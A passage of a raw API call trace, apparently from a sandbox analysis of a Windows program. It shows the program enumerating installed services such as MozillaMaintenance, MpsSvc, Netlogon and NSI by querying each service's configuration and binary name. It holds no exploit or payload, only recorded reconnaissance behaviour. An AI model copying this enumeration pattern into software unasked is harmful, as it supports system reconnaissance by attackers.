cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68780, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0249.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1e68780, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0249.231] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.231] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.232] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.232] GetLastError () returned 0x7a [0249.232] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0249.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x1e687c8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0249.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1e687c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0249.233] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MpsSvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.234] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.234] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.234] GetLastError () returned 0x7a [0249.234] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68810, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1e68810, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0249.235] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MSDTC", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.236] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.236] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.236] GetLastError () returned 0x7a [0249.236] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x1e68858, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc.exe", lpUsedDefaultChar=0x0) returned 9 [0249.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1e68858, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0249.237] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MSiSCSI", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.237] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.238] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.238] GetLastError () returned 0x7a [0249.238] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e688a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1e688a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0249.239] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="msiserver", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.239] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.240] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.240] GetLastError () returned 0x7a [0249.240] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0xf6, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x1e688e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiexec.exe", lpUsedDefaultChar=0x0) returned 11 [0249.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x1e688e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napagent", lpUsedDefaultChar=0x0) returned 8 [0249.241] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="napagent", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.241] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.242] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.242] GetLastError () returned 0x7a [0249.242] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68930, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x1e68930, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netlogon", lpUsedDefaultChar=0x0) returned 8 [0249.243] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Netlogon", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.243] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.244] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.244] GetLastError () returned 0x7a [0249.244] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e68978, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x1e68978, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netman", lpUsedDefaultChar=0x0) returned 6 [0249.245] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Netman", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.246] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.247] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.247] GetLastError () returned 0x7a [0249.247] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e689c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x1e689c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netmsmqactivator", lpUsedDefaultChar=0x0) returned 16 [0249.248] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.248] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.249] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.249] GetLastError () returned 0x7a [0249.249] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x18a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e68a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0249.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x1e68a08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netpipeactivator", lpUsedDefaultChar=0x0) returned 16 [0249.250] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="NetPipeActivator", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.250] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.251] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.251] GetLastError () returned 0x7a [0249.251] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e68a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0249.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x1e68a50, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netprofm", lpUsedDefaultChar=0x0) returned 8 [0249.252] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="netprofm", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.252] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.253] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.253] GetLastError () returned 0x7a [0249.253] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68a98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0249.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x1e68a98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpactivator", lpUsedDefaultChar=0x0) returned 15 [0249.254] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="NetTcpActivator", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.254] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.255] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.255] GetLastError () returned 0x7a [0249.255] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e68ae0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0249.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x1e68ae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpportsharing", lpUsedDefaultChar=0x0) returned 17 [0249.256] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.256] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.257] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.257] GetLastError () returned 0x7a [0249.257] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x1e68b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0249.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x1e68b28, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nlasvc", lpUsedDefaultChar=0x0) returned 6 [0249.258] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="NlaSvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.258] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.259] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.259] GetLastError () returned 0x7a [0249.259] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68b70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x1e68b70, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nsi", lpUsedDefaultChar=0x0) returned 3 [0249.260] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="nsi", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.260] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.260] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.261] GetLastError () returned 0x7a [0249.261] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e68bb8, cbMultiByte=11, 